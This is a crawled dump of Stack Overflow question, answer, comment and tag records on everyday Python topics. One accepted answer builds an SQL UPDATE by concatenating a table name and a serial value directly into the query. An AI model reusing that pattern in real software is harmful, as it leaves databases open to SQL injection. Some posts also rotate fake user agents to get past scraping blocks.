pycharm, but when i call py file from java the last statement SP_BOM_Format.to_csv is causing issue (No such file is found) where as am trying to place the file in that path and single backslash \ is printing as double \. Is there anything change in my statement Any help will be much appreciated, Thanks
type: UnansweredQuestion
has title: Pandas Dataframe.to_csv causing issue
has answer: http://stackoverflow.com/a/49587608
score: 0
has comment: http://stackoverflow.com/comment/86182516
has comment: http://stackoverflow.com/comment/86183526
tagged with: pandas
tagged with: python
has answer: http://stackoverflow.com/a/49587896
has comment: http://stackoverflow.com/comment/86182789
type: Question

http://stackoverflow.com/q/49589862
tagged with: python
accepted answer: http://stackoverflow.com/a/49593682
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49593682
tagged with: api
tagged with: pyqt
score: 1
answer count: 1
downvote count: 0
tagged with: maya
upvote count: 1
favorite count: 0
has title: Maya API/ PySide2 , wrong argument in wrapInstance
type: Question
has body: Trying to learn some PySide2 for Maya, but there is no clear documentation for PySide2 yet, so after searching in internet coming here again for help... I will go straight to the problem - from PySide2 import QtWidgets, QtGui import maya.cmds as cmds import maya.OpenMayaUI as mui import shiboken2 def getMayaWindow(): pointer = mui.MQtUtil.mainWindow() if pointer is not None: return shiboken2.wrapInstance(long(pointer), QtWidgets) Error: TypeError: file line 9: 'wrapInstance' called with wrong argument types: wrapInstance(long, module) Supported signatures: wrapInstance(size_t, PyType) # Best regards!
tagged with: pyside

http://stackoverflow.com/comment/86175843
type: AnswerComment
comment on: http://stackoverflow.com/a/49583845
type: Comment
has text: Please add a print for the url and show the output.
score: 0

http://stackoverflow.com/comment/86141405
has text: @user2357112 This code alone will produce this error. I'm running it as a `.py` script from the terminal.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49566391
type: Comment

http://stackoverflow.com/comment/85896713
has text: @jpp I dont think you understand what is going on here. It is vectorised. The lambda is taking a whole dataframe `x` and doing a boolean comparison on the column `gender`. `loc` then uses this as a vecotrised index. This stops me from repeatedly filtering inside the `loc`. It also means that I don't create a potentially large `idx` object by actually creating the bool index. See [here](https://stackoverflow.com/questions/37102824/why-does-not-work-pandas-df-loc-lambda) for more information.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49447063
type: AnswerComment

http://stackoverflow.com/a/49565254
has comment: http://stackoverflow.com/comment/86148458
answers question: http://stackoverflow.com/q/49565042
has comment: http://stackoverflow.com/comment/119927731
score: 126
type: Answer
has comment: http://stackoverflow.com/comment/124215602
has comment: http://stackoverflow.com/comment/131092595
has comment: http://stackoverflow.com/comment/126220407
upvote count: 128
has comment: http://stackoverflow.com/comment/135126322
type: AcceptedAnswer
downvote count: 2
has body: A simple way to use a random User Agent would be using Python's fake_useragent module as follows : from selenium import webdriver from selenium.webdriver.chrome.options import Options from fake_useragent import UserAgent options = Options() ua = UserAgent() user_agent = ua.random print(user_agent) options.add_argument(f'--user-agent={user_agent}') driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe') driver.get("https://www.google.co.in") driver.quit() Result of 3 consecutive execution is as follows : First Execution : Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 Second Execution : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36 Third Execution : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17
has comment: http://stackoverflow.com/comment/129016157
accepted answer of: http://stackoverflow.com/q/49565042
has comment: http://stackoverflow.com/comment/86140947

http://stackoverflow.com/a/49489845
has body: You can query queues from the Group object. Select Id from Group where Type = 'Queue' For a specific queue you can use: Select Id from Group where Type = 'Queue' AND NAME = 'QueueName' You can find all available fields for the Group object here: https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_group.htm
answers question: http://stackoverflow.com/q/49485700
type: Answer
has comment: http://stackoverflow.com/comment/85982383
score: 0

http://stackoverflow.com/a/49476188
answers question: http://stackoverflow.com/q/49475793
has comment: http://stackoverflow.com/comment/85985586
upvote count: 3
score: 3
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85986438
has body: Change your SQL sql = 'UPDATE '+table+' SET {} WHERE cart_SN = '.format(', '.join('{}=%s'.format(k) for k in cart))+sn Because in your case sql = 'UPDATE '+table+' SET {} WHERE cart_SN = '+sn+' '.format(', '.join('{}=%s'.format(k) for k in cart)) format is applied to ' '.fomat() empty string not the main string
accepted answer of: http://stackoverflow.com/q/49475793
has comment: http://stackoverflow.com/comment/85963107
type: Answer
has comment: http://stackoverflow.com/comment/85971344

http://stackoverflow.com/comment/113634473
score: 0
comment on: http://stackoverflow.com/a/49524039
type: AnswerComment
has text: Thanks @Andy, one more question, How to navigate exception occured in python script to non-zero status relationship ?
type: Comment

http://stackoverflow.com/q/49453600
tagged with: svd
tagged with: numpy
score: 2
upvote count: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85928955
downvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/49455043
favorite count: 0
has answer: http://stackoverflow.com/a/49455043
has body: I am trying to get accustomed to doing singular value decomposition with numpy. I decided to do the SVD on a matrix from an example to understand how it works. I am following this pdf, where A = [[3, 2, 2], [2, 3, -2]]. When I run the svd, however, I get something different for the matrices U and V then what is provided in the pdf. It is the same matrix, except the signs have been flipped. Now, since the matrices are both linear operators and the signs have been flipped on both it is technically still correct, the flipping cancels out. But why is it this way?
type: Question
has title: numpy SVD giving wrong values?
tagged with: python

http://stackoverflow.com/comment/86391003
score: 0
has text: No, I don't want to create new variables in every iteration. I simply want to backpropagate through time: Compute the gradient of `x_out` with respect to `weight_0` and `weight_1` for every time step.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49555016

http://stackoverflow.com/q/49562916
accepted answer: http://stackoverflow.com/a/49563508
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/49563508
has body: I have a data frame of 3000 rows x 101 columns like as follow: Time id0 id1 id2 ………… id99 1 1.71 6.99 4.01 ………… 4.98 2 1.72 6.78 3.15 ………… 4.97 . . 3000 0.36 0.23 0.14 ………… 0.28 In fact the measures in the 100 columns (from id0 to id99) represent distances of agents in a global coordinate frame. Is it possible to generate a heatmap for a given row in a way that the related (100x100) matrix contains the differences in distance between each pair of agent (id_i - id_j , with i and j /in {0..99}).
tagged with: heatmap
has comment: http://stackoverflow.com/comment/86133994
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86135136
answer count: 1
has title: Plotting a heat map for a data frame row that contains distance measures of agents
type: Question
has comment: http://stackoverflow.com/comment/86134556

http://stackoverflow.com/a/49488776
score: 0
has comment: http://stackoverflow.com/comment/86015955
has comment: http://stackoverflow.com/comment/85980571
type: Answer
has comment: http://stackoverflow.com/comment/85985154
answers question: http://stackoverflow.com/q/49486107
has body: Not sure I understand what you want. But what did you try ? Are you waiting us doing your homework ? Is that why this question is downvoted ? Anyway I would probably begin with something like that, although this not optimized neither for memory nor for CPU. This will not suit if your dataset has zillion-lines. algorithm: 1. keep all different values of 'start' and 'end' ; 2. when 'start' and 'end' are the same, keep the lowest TPM import csv #initiazing columns = ['start','end','TPM','chr','genes'] keptValues = {} for c in columns: keptValues[c]=[] ################ def add(k,r): for c in columns: form = determineFormat(c) k[c].append(form(r[c])) ################## def replace(i,k,r): #print('debug: ',i,k,r) for c in columns: form = determineFormat(c) k[c][i] = form(r[c]) ################# def determineFormat(s): if s=='start' or s=='end': form = int elif s=='TPM': form = float else: form = str return form ################# with open('bioinfo.csv', 'r') as f: reader = csv.DictReader(f) for row in reader: if int(row['start']) in keptValues['start'] : ind = keptValues['start'].index(int(row['start'])) if keptValues['end'][ind]==int(row['end']): if keptValues['TPM'][ind]&gt;float(row['TPM']): replace(ind,keptValues,row) else: add(keptValues,row) else: add(keptValues,row)
has comment: http://stackoverflow.com/comment/85994133
has comment: http://stackoverflow.com/comment/86015822

http://stackoverflow.com/comment/85926349
type: AnswerComment
comment on: http://stackoverflow.com/a/49461207
type: Comment
has text: I changed it to { }, but it still shows the same error pointing at ' : '
score: 0

http://stackoverflow.com/a/49568665
upvote count: 1
score: 1
type: AcceptedAnswer
has body: I think need numpy.where with condition created by between (default inclusive=True): df['id'] = np.where(df['values'].between(0,100), 1,2) print (df) time values id 1 2018-03-19 14:31:17.200 1095 2 2 2018-03-19 14:31:17.300 2296 2 3 2018-03-19 14:31:17.400 2147 2 4 2018-03-19 14:31:17.500 309 2 5 2018-03-19 14:31:17.600 244 2 6 2018-03-19 14:31:17.700 263 2 7 2018-03-19 14:31:17.800 548 2
accepted answer of: http://stackoverflow.com/q/49568646
has comment: http://stackoverflow.com/comment/86145577
type: Answer
answers question: http://stackoverflow.com/q/49568646
downvote count: 0

file
tags question: http://stackoverflow.com/q/49512990
type: Tag
tags question: http://stackoverflow.com/q/49440016
tags question: http://stackoverflow.com/q/49573986
tags question: http://stackoverflow.com/q/49487844
tags question: http://stackoverflow.com/q/49498818
tags question: http://stackoverflow.com/q/49558540
tags question: http://stackoverflow.com/q/49580399
tags question: http://stackoverflow.com/q/49566499
tags question: http://stackoverflow.com/q/49479612
tags question: http://stackoverflow.com/q/49523145
tags question: http://stackoverflow.com/q/49538705
tags question: http://stackoverflow.com/q/49470727
tag name: file
tags question: http://stackoverflow.com/q/49548137
tags question: http://stackoverflow.com/q/49506379
tags question: http://stackoverflow.com/q/49470165
tags question: http://stackoverflow.com/q/49526586
tags question: http://stackoverflow.com/q/49530684
tags question: http://stackoverflow.com/q/49544736
tags question: http://stackoverflow.com/q/49546308
tags question: http://stackoverflow.com/q/49570299
tags question: http://stackoverflow.com/q/49511956
tags question: http://stackoverflow.com/q/49573678
tags question: http://stackoverflow.com/q/49469015
tags question: http://stackoverflow.com/q/49475770
tags question: http://stackoverflow.com/q/49454444

http://stackoverflow.com/comment/85964999
score: 0
comment on: http://stackoverflow.com/a/49480461
type: AnswerComment
has text: Ohh.. Sorry, I'm an idiot haha. Still new to python. Thank you so much.
type: Comment

knitr
type: Tag
tags question: http://stackoverflow.com/q/49503195
tag name: knitr

http://stackoverflow.com/a/49539676
downvote count: 0
has body: So, I accepted the answer by djakubosky because it seems clean and is probably the right approach. However, by the time that answer was posted, I had decided that what I was doing was inappropriate for a list comprehension and simply wrote it as a for loop - and that worked fine. Possibly this will be useful to someone else. Here is the code: def insert_breaks(x,y): import datetime as dtm import numpy as np xnew = [] ynew = [] for dt1, dt0, y1, y0 in zip(x[1:],x[:-1],y[1:],y[:-1]): if dt1-dt0 &lt; dtm.timedelta(hours=1): xnew+=[dt0] ynew+=[y0] else: xnew+=[dt0,dt0+(dt1-dt0)/2] ynew+=[y0, np.nan] xnew+=[dt1] ynew+=[y1] return xnew, ynew
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49522674

http://stackoverflow.com/q/49528869
duplicate of: http://stackoverflow.com/q/2399307
linked to: http://stackoverflow.com/q/19205916
tagged with: self
linked to: http://stackoverflow.com/q/15777466
type: UnansweredQuestion
has body: In Python3 I assumed that the creation of a class with a parent causes the parent class to be instantiated. This code shows it does not work like that. class AClass: def __init__(self): print("make A") self.val = True def f(self): return self.val class BClass(AClass): def __init__(self): print("make B") self.val = False def g(self): return self.val b = BClass() print(b.f()) print(b.g()) The output is make B False False The output shows AClass.__init__(self) is not called and the function f uses the self value created in BClass. If an AClass instance existed then the g function would have returned True. I'm learning Python and I find this behavior very counterintuitive. What I want is to have a self instance variable at every level in the inheritance hierarchy. Is this not normal in Python3? If there were self instances in the inheritance tree would a method name follow the regular inheritance rules? Does Python do something else to implement what I want?
answer count: 1
has comment: http://stackoverflow.com/comment/86064269
has title: How and when does a parent class get instantiated in Python 3?
tagged with: python
has comment: http://stackoverflow.com/comment/86063446
has answer: http://stackoverflow.com/a/49528915
tagged with: inheritance
score: 0
tagged with: instance
linked to: http://stackoverflow.com/q/2399307
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/86088308
has text: @BlackJack Really? And that will pull all the data the OP wanted? I think not. He is grabbing multiple data points form each iteration. Perhaps there is a more appropriate way to solve it but don;t come down vote me and then lie about how well you could solve it.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49536997

http://stackoverflow.com/a/49597506
type: Answer
answers question: http://stackoverflow.com/q/49597473
upvote count: 3
downvote count: 0
has body: You could use insert method of list. import random l = [1,2,3,4] l.insert(random.randint(0, len(l)), 5) First argument of the method is index, the second argument is value. See documentation.
score: 3

http://stackoverflow.com/q/49466154
upvote count: 1
answer count: 1
tagged with: scikit-learn
favorite count: 0
type: Question
has title: Combining predicted results of Sci-Kit learn classifier with original test set data
has answer: http://stackoverflow.com/a/49475335
score: 1
accepted answer: http://stackoverflow.com/a/49475335
tagged with: python
has body: I am working on a ML project (a binary classification problem) and was able to run successfully few Sci-Kit classifiers (RF, MLP, Extra Trees). My question is now I have "Predict_Probas" results which I have converted into a Pandas Data frame and I would like to combine this with my original test data which later I will export in CSV. This I need to show to my management as the final result of my ML project. The issue is I adopted following approach - First standardized the whole data (using StandardScaler) Then encoded the data using One-Hot encoding. Then using Train_test_split, split the standardized and encoded data into two parts How can I now get my original test data back with (without standardization &amp; one-hot encoding) with names of columns intact?
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/a/49528471
answers question: http://stackoverflow.com/q/49523181
score: 1
type: Answer
has body: You did not prepare the data correctly. Since in Python a string is a list of characters, you find frequent character sets. For example, "51" contains the character '1'. Prepare your data correctly.
has comment: http://stackoverflow.com/comment/86065671
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86075390

http://stackoverflow.com/comment/86151199
score: 1
comment on: http://stackoverflow.com/q/49571825
type: Comment
type: QuestionComment
has text: Split your points into n subarrays, then perform your calculation n^2 times? Similar to lazy evaluation, but you just use the tools you mentioned.

http://stackoverflow.com/a/49500950
has comment: http://stackoverflow.com/comment/86023462
has body: I solved my problem by using the add_mutually_exclusive_group() method. The add_mutually_exclusive_group method "will make sure that only one of the arguments in the mutually exclusive group was present on the command line." Also, by setting the value of each flag to be false in the add_argument() method's parameters and only setting a flag to true when it is used, I am able to determine which flag was used. flags = parser.add_mutually_exclusive_group(required=False) flags.add_argument('-avgtime', action='store_true', default=False) flags.add_argument('-avgtemp', action='store_true', default=False) flags.add_argument('-maxtime', action='store_true', default=False) flags.add_argument('-maxtemp', action='store_true', default=False) flag_is_set = args.avgtime or args.avgtemp or args.maxtime or args.maxtemp if flag_is_set: if args.avgtime: # print something elif args.avgtemp: # print something elif args.maxtime: # print something elif args.maxtemp: # pint something else: print "Command Not Executed"
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86007784
accepted answer of: http://stackoverflow.com/q/49487972
score: 0
has comment: http://stackoverflow.com/comment/86009009
answers question: http://stackoverflow.com/q/49487972
type: Answer

http://stackoverflow.com/comment/86082448
comment on: http://stackoverflow.com/q/49536612
score: 1
type: Comment
type: QuestionComment
has text: Why not just put the file names on the queue? Then you have a pool of asyncio tasks or threads (depending on which you decide to use) that read from the queue.

http://stackoverflow.com/a/49512611
has body: I think need GroupBy.apply with flattening lists: df = (df.groupby(['Id','Price'])['Name'] .apply(lambda x: [i for li in x for i in li]) .reset_index()) print (df) Id Price Name 0 1 33900 [ABC, XYZ]
type: Answer
answers question: http://stackoverflow.com/q/49510978
accepted answer of: http://stackoverflow.com/q/49510978
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49591343
has answer: http://stackoverflow.com/a/49592151
upvote count: 5
has answer: http://stackoverflow.com/a/49591402
possible better answer: http://stackoverflow.com/a/49591569
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/49591569
tagged with: substring
has answer: http://stackoverflow.com/a/49591364
type: Question
score: 5
has comment: http://stackoverflow.com/comment/86190526
has answer: http://stackoverflow.com/a/49595367
has body: While there are several posts on StackOverflow that are similar to this, none of them involve a situation when the target string is one space after one of the substrings. I have the following string (example_string): &lt;insert_randomletters&gt;[?] I want this string.Reduced&lt;insert_randomletters&gt; I want to extract "I want this string." from the string above. The randomletters will always change, however the quote "I want this string." will always be between [?] (with a space after the last square bracket) and Reduced. Right now, I can do the following to extract "I want this string". target_quote_object = re.search('[?](.*?)Reduced', example_string) target_quote_text = target_quote_object.group(1) print(target_quote_text[2:]) This eliminates the ] and that always appear at the start of my extracted string, thus only printing "I want this string." However, this solution seems ugly, and I'd rather make re.search() return the current target string without any modification. How can I do this?
has comment: http://stackoverflow.com/comment/86190506
downvote count: 0
has title: Find String Between Two Substrings in Python When There is A Space After First Substring
tagged with: string
favorite count: 0
type: AnsweredQuestion
tagged with: string-search
accepted answer: http://stackoverflow.com/a/49591402
has comment: http://stackoverflow.com/comment/86190618
answer count: 5
has comment: http://stackoverflow.com/comment/86190480

http://stackoverflow.com/comment/86189743
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49584809
has text: You need to follow the solution in the [linked answer](https://stackoverflow.com/questions/24319558/how-to-resolve-django-core-exceptions-improperlyconfigured-application-labels/24319562#24319562). That let's you override the app label. To make your ForeignKeys work, you should only need to pick a label that doesn't contain dots.
type: Comment

http://stackoverflow.com/comment/85911085
comment on: http://stackoverflow.com/q/49453930
type: Comment
score: 0
has text: Do you need a new array or would an in-place solution modifying `a` suffice?
type: QuestionComment

http://stackoverflow.com/comment/85963389
type: Comment
comment on: http://stackoverflow.com/a/49480056
score: 0
type: AnswerComment
has text: You are right. How am I supposed to even find it? Cause I know that I did not write a new `str()` function.

http://stackoverflow.com/comment/86031585
has text: @AndreaFerrante - Now is answer edited, please check it.
comment on: http://stackoverflow.com/a/49511340
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86189785
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49590995
has text: Also, is it creating random integer or is actually calculating string similarity with any algorithm?
type: Comment

http://stackoverflow.com/a/49448085
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: In order to make the color conversion you need to provide a numpy array or a scalar to cvtColor method. So in your case, you first need to read image in your path using cv2.imread(filename) and then do the conversion. A complete solution would be path= 'the_path_to_the_images' for filename in os.listdir(path): image = cv2.imread(filename) ycbcr = cv2.cvtColor(image, cv2.COLOR_BGR2YCrCb) cv2.imwrite( filename, ycbcr)
accepted answer of: http://stackoverflow.com/q/49444510
type: Answer
answers question: http://stackoverflow.com/q/49444510

http://stackoverflow.com/comment/85935150
score: 0
comment on: http://stackoverflow.com/a/49457812
type: Comment
type: AnswerComment
has text: See [the answer](https://stackoverflow.com/a/49458021/5858851) by sacul which has a better explanation than what I have provided.

http://stackoverflow.com/a/51627844
upvote count: 4
has body: In my case, it's caused by emoji in strings. I removed them and everything works well.
downvote count: 1
answers question: http://stackoverflow.com/q/49497391
score: 3
type: Answer

http://stackoverflow.com/q/49527190
has answer: http://stackoverflow.com/a/49534919
tagged with: http://stackoverflow.com/tag/xml
has title: XML display document tree on browser
has comment: http://stackoverflow.com/comment/86060310
upvote count: 0
type: UnansweredQuestion
downvote count: 2
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/86059946
type: Question
tagged with: rest
has body: Hello everyone. I think this is a newbie question. How would I be able to have my xml printed using python, in the same way as the browser screenshot shows? Thank you!
tagged with: python
score: -2

http://stackoverflow.com/comment/85954221
has text: This seems to answer your question: https://stackoverflow.com/questions/46852066/how-to-create-python-secure-websocket-client-request
type: QuestionComment
comment on: http://stackoverflow.com/q/49475817
score: 0
type: Comment

http://stackoverflow.com/comment/86134926
comment on: http://stackoverflow.com/a/49563183
has text: then got this error `Open 24 Hrs Traceback (most recent call last): File "abid.py", line 8, in <module> print y File "C:\Python27\ArcGIS10.5\lib\encodings\cp437.py", line 12, in encode return codecs.charmap_encode(input,errors,encoding_map) UnicodeEncodeError: 'charmap' codec can't encode character u'\u2013' in position 27: character maps to <undefined>`
score: 0
type: Comment
type: AnswerComment

pyside
tags question: http://stackoverflow.com/q/49589862
tags question: http://stackoverflow.com/q/49502170
type: Tag
tags question: http://stackoverflow.com/q/49469620
tags question: http://stackoverflow.com/q/49531580
tags question: http://stackoverflow.com/q/49587518
tag name: pyside
tags question: http://stackoverflow.com/q/49487654

http://stackoverflow.com/comment/86164857
has text: This creates tuples, and it fails for an empty `array`. Fixing the empty array bug makes the code bulky again.
comment on: http://stackoverflow.com/a/49578626
type: AnswerComment
score: 1
type: Comment

http://stackoverflow.com/a/49541300
answers question: http://stackoverflow.com/q/49541231
upvote count: 4
type: Answer
score: 4
has body: You can't have a numpy array as a key. Try using something like: {i:arr.shape for i,arr in enumerate([a,b,c,d])}
downvote count: 0

http://stackoverflow.com/q/49464015
tagged with: regex
has title: Django URL regex for alphanumeric string
type: AnsweredQuestion
score: 0
answer count: 1
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49464111
has comment: http://stackoverflow.com/comment/85930975
has answer: http://stackoverflow.com/a/49464111
has body: My current url pattern is: url(r'^(?P&lt;category&gt;\w+)/(?P&lt;hash&gt;\w+)/$', article, name='article'), hash is an alphanumeric string that can be uppercase or lowercase. example: gqaBittXW9hcyO What should my url pattern look like to operate for this? Error: NoReverseMatch at /news/gqaBittXW9hcyO/ Reverse for 'article' with keyword arguments '{'id': 1, 'category': 'news'}' not found. 1 pattern(s) tried: ['(?P&lt;category&gt;\\w+)/(?P&lt;hash&gt;\\w+)/$'] views def article(request, category, hash, extra_context=None): name = resolve(request.path).kwargs['category'] instance = get_object_or_404(Post, hash=hash, entered_category=name) print('Hash:', instance.hash) #prints correctly (gqaBittXW9hcyO) context = { 'id': instance.id, 'instance': instance, } return render(request, 'article.html', context)
tagged with: django
tagged with: python

http://stackoverflow.com/comment/85992813
has text: When I try to use more specific selector `#oss_body a.btn_close`, it throws timeout exception. Given plus one for your solution.
type: Comment
comment on: http://stackoverflow.com/a/49494343
type: AnswerComment
score: 0

http://stackoverflow.com/q/49478400
tagged with: python
tagged with: kivy
has comment: http://stackoverflow.com/comment/85961265
has comment: http://stackoverflow.com/comment/85959541
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49481751
score: 1
has answer: http://stackoverflow.com/a/49481751
has body: My python file: class MainScreen(Screen): ampm = ObjectProperty(None) weekend = ObjectProperty(None) def switch_ampm_clicked(self, instance, value): print ("ampm args = " + str(value)) if value is True: ampm = "PM" print (ampm) return ampm else: ampm = "AM" print (ampm) return ampm def switch_weekend_clicked(self, instance, value): print ("weekend args = " + str(value)) if value is True: weekend = "Weekend" print (weekend) return weekend else: weekend = "Weekday" print (weekend) return weekend def add_alarm(self): alarm_to_enter = str(self.hour.text + ":" + self.minute.text + ":" + self.second.text + " " + str(self.ampm) + " " + str(self.weekend)) self.db_conn = lite.connect('ust_bac.db') self.theCursor = self.db_conn.cursor # Insert alarms in the db #self.db_conn.execute('INSERT INTO Alarms (Hour, Minute, Second, AM_PM, Weekend) VALUES (?, ?, ?, ?, ?)', (self.hour.text, self.minute.text, self.second.text, self.checkbox_ampm_clicked(), self.checkbox_weekend_clicked.weekend)) print (alarm_to_enter) My kv file: : name: 'main_screen' on_enter: root.starttimer() hour: hour minute: minute second: second weekend: week_end ampm: am_pm alarm_list: alarm_list BoxLayout: orientation: "vertical" size_hint: (1, 1) BoxLayout: orientation: "horizontal" size_hint: (1, .833) #width: 800 #height: 400 BoxLayout: orientation: "vertical" size_hint: (.5, 1) LabelB: text: "Alarm Times" size_hint: (1, .1) bcolor: 0,0,1,1 ListView: id: alarm_list size_hint: (1, .6) adapter: ListAdapter(data=[], cls=main.AlarmListButton) BoxLayout: id: user_input_section orientation: "horizontal" size_hint: (1, .1) LabelB: text: "Hour" bcolor: 0,0,1,1 TextInput: id: hour LabelB: text: "Minute" bcolor: 0,0,1,1 TextInput: id: minute LabelB: text: "Second" bcolor: 0,0,1,1 TextInput: id: second BoxLayout: orientation: "horizontal" size_hint: (1, .1) LabelB: text: size_hint: (.25, 1) bcolor: 0,0,1,1 Switch: id: am_pm on_active: root.switch_ampm_clicked(self, self.active) size_hint: (.25, 1) LabelB: text: size_hi…
answer count: 1
downvote count: 0
upvote count: 1
has title: Kivy: returning value for use in other functions
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85961060

http://stackoverflow.com/a/49541454
score: 4
downvote count: 0
has body: You can using pd.Series pd.Series(l).apply(lambda x : pd.Series(x[0])) Out[294]: 0 1 2 3 4 5 6 7 8 0 0 0 0 1 0 0 0 0 0 1 0 0 3 2 0 0 0 0 0
upvote count: 4
answers question: http://stackoverflow.com/q/49540922
type: Answer

http://stackoverflow.com/q/49572703
tagged with: python
accepted answer: http://stackoverflow.com/a/49572907
type: AnsweredQuestion
score: 0
tagged with: syntax-error
tagged with: syntax
has title: *** ValueError: invalid literal for int() with base 10: '#'
has comment: http://stackoverflow.com/comment/86153022
has comment: http://stackoverflow.com/comment/86152967
answer count: 1
has answer: http://stackoverflow.com/a/49572907
has comment: http://stackoverflow.com/comment/86153027
linked to: http://stackoverflow.com/q/29643352
type: Question
tagged with: python-3.x
tagged with: typeerror
has comment: http://stackoverflow.com/comment/86153139
has body: l would like to convert my array of colors to RGB pixel values . colors array(['#32CD32', '#CD5C5C', '#00BFFF', '#1E90FF', '#00008B', '#ADFF2F', '#B0E0E6', '#7CFC00', '#00008B', '#1E90FF', '#F08080', '#F08080', '#FA8072', '#0000FF', '#7CFC00', '#B0E0E6'], dtype='&lt;U7') What l have tried ? pixel_color = ['#%02x%02x%02x' % (c[0], c[1], c[2]) for c in colors] l got the following error : ***** TypeError: %x format: an integer is required, not str** Then l did the following : pixel_color = ["#%02x%02x%02x" %(int(c[0]), int(c[1]), int(c[2])) for c in colors] Then l get the following error : ***** ValueError: invalid literal for int() with base 10: '#'**
has comment: http://stackoverflow.com/comment/86153153

http://stackoverflow.com/comment/86038680
type: QuestionComment
has text: `all_subdirs = [d for d in os.listdir('.') if os.path.isdir(d)]` I have taken this as source but it is creating by the last created date and not finding the specific strings.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49516573

http://stackoverflow.com/q/49542986
tagged with: python-requests
has comment: http://stackoverflow.com/comment/86093662
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/38489386
has answer: http://stackoverflow.com/a/49543149
has comment: http://stackoverflow.com/comment/86093609
tagged with: python
score: 4
has comment: http://stackoverflow.com/comment/86093600
has answer: http://stackoverflow.com/a/49543577
has comment: http://stackoverflow.com/comment/86093569
upvote count: 4
possible better answer: http://stackoverflow.com/a/49543577
has title: Returning 403 Forbidden from simple get but loads okay in browser
type: AnsweredQuestion
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/86093714
answer count: 2
accepted answer: http://stackoverflow.com/a/49543149
has body: I'm trying to get some data from a page, but it's returning the error [403 Forbidden]. I thought it was the user agent, but I tried several user agents and it still returns the error. I also tried to use the library fake user-agent but I did not succeed. with requests.Session() as c: url = '...' #headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} ua = UserAgent() header = {'User-Agent':str(ua.chrome)} page = c.get(url, headers=header) print page.content When I access the page manually, everything works. I'm using python 2.7.14 and requests library, Any idea?
downvote count: 0
tagged with: web-scraping

http://stackoverflow.com/q/49459560
score: 1
answer count: 1
downvote count: 0
upvote count: 1
has title: Is there a way to handle exceptions but only from a specific library?
favorite count: 0
has comment: http://stackoverflow.com/comment/85922152
type: Question
has body: I am using a package (foo) and am calling a method in a class (Foo) within that package. Let's say that package has its own exceptions defined: exception foo.exceptions.FooEx_1 exception foo.exceptions.FooEx_2 ... exception foo.exceptions.FooEx_n I'd prefer not to write a generic exception handler: try: except: # Process any exception here I just want to catch only exceptions raised in the foo library/package. Is there a way to do that? Like: try: except foo.exceptions.*
tagged with: exception
has answer: http://stackoverflow.com/a/49459642
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/85922044
tagged with: python-2.7

http://stackoverflow.com/comment/86153117
comment on: http://stackoverflow.com/q/49572718
score: 0
type: Comment
type: QuestionComment
has text: @Aran-Fey SO provides a way to communicate that: (vote to) close as duplicate with a link to already answered questions.

http://stackoverflow.com/comment/85896648
type: QuestionComment
comment on: http://stackoverflow.com/q/49444511
has text: @Ribes & @jpp - My query is related the deletion of `new_dict` key. I was iterating `mydict` dictionary but unable to delete `new_dict` key.
score: 0
type: Comment

http://stackoverflow.com/a/49537363
accepted answer of: http://stackoverflow.com/q/49536561
has comment: http://stackoverflow.com/comment/86082675
answers question: http://stackoverflow.com/q/49536561
has comment: http://stackoverflow.com/comment/86082887
upvote count: 4
has comment: http://stackoverflow.com/comment/86083251
score: 4
has body: You have to call the particular function (notify_user()) when you really need to execute it. Suppose you need to execute the task while a request comes to the server, then it would be like this, @background(schedule=60) def get_csv(creds): #read csv from drop box with credentials, "creds" #then update the DB def myview(request): # do something with my view get_csv(creds, repeat=100) return SomeHttpResponse Excecution Procedure 1. Request comes to the url hence it would dispatch to the corresponding view, here myview() 2. Excetes the line get_csv(creds, repeat=100) and then creates a async task in DB (it wont excetute the function now) 3. Returning the HTTP response to the user. After 60 seconds from the time which the task creation, get_csv(creds) will excecutes repeatedly in every 100 seconds
has comment: http://stackoverflow.com/comment/86082793
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/q/49581423
answer count: 2
upvote count: 2
downvote count: 0
tagged with: palindrome
tagged with: string
has comment: http://stackoverflow.com/comment/86170895
has comment: http://stackoverflow.com/comment/86171015
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49582110
